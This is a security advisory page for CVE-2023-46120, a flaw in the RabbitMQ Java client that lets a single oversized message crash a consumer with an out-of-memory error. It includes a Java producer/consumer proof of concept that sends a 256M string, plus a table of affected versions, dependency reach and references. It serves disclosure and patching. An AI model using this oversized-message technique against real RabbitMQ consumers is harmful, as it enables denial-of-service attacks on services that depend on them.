CVE-2023-46120
RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack
Description
Summary
maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.
PoC
RbbitMQ
- Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)
- Start RabbitMQ
Producer
- Build a String of length 256M and send it to Consumer
package org.springframework.amqp.helloworld;
import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
public class Producer {
public static void main(String[] args) {
ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
String s = "A";
for(int i=0;i<28;++i){
s = s + s;
System.out.println(i);
}
amqpTemplate.convertAndSend(s);
System.out.println("Send Finish");
}
}
Consumer
- First set the heap memory size to 128M
- Read the message sent by the Producer from the MQ and print the length
package org.springframework.amqp.helloworld;
import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
public class Consumer {
public static void main(String[] args) {
ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
Object o = amqpTemplate.receiveAndConvert();
if(o != null){
String s = o.toString();
System.out.println("Received Length : " + s.length());
}else{
System.out.println("null");
}
}
}
Results
- Run the Producer first, then the Consumer
- Consumer throws OOM Exception
Impact
Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.
Affected Maven artifacts (1)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| com.rabbitmq » amqp-client | < 5.18.0 | 5.18.0 |
Blast radius
61% of the dependent artifacts (4,396) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 16,939 |
| 2 hops | 54,505 |
| 3 hops | 92,386 |
| 4 hops | 54,455 |
| 5 hops | 26,786 |
| 6 hops | 9,965 |
Most used dependents
- org.apache.spark » spark-sql3,174 usages
- org.apache.spark » spark-core2,899 usages
- org.apache.spark » spark-mllib831 usages
- org.apache.hive » hive-exec699 usages
- org.springframework.boot » spring-boot-starter-amqp691 usages
- org.apache.spark » spark-streaming670 usages
- org.apache.spark » spark-hive633 usages
- org.apache.camel.springboot » camel-core-starter558 usages
- org.nuxeo.ecm.core » nuxeo-core-api534 usages
- org.apache.spark » spark-catalyst502 usages
- org.apache.solr » solr-core500 usages
- org.apache.hive » hive-metastore480 usages
- org.apache.camel.springboot » camel-spring-boot-starter478 usages
- org.apache.synapse » synapse-core453 usages
- org.springframework.amqp » spring-rabbit405 usages
Computed from the dependency graph of build 20261124.0621 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
References
- Webhttps://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-mm8h-8587-p46h
- Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2023-46120
- Webhttps://github.com/rabbitmq/rabbitmq-java-client/issues/1062
- Webhttps://github.com/rabbitmq/rabbitmq-java-client/commit/714aae602dcae6cb4b53cadf009323ebac313cc8
- Packagehttps://github.com/rabbitmq/rabbitmq-java-client
- Webhttps://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.18.0
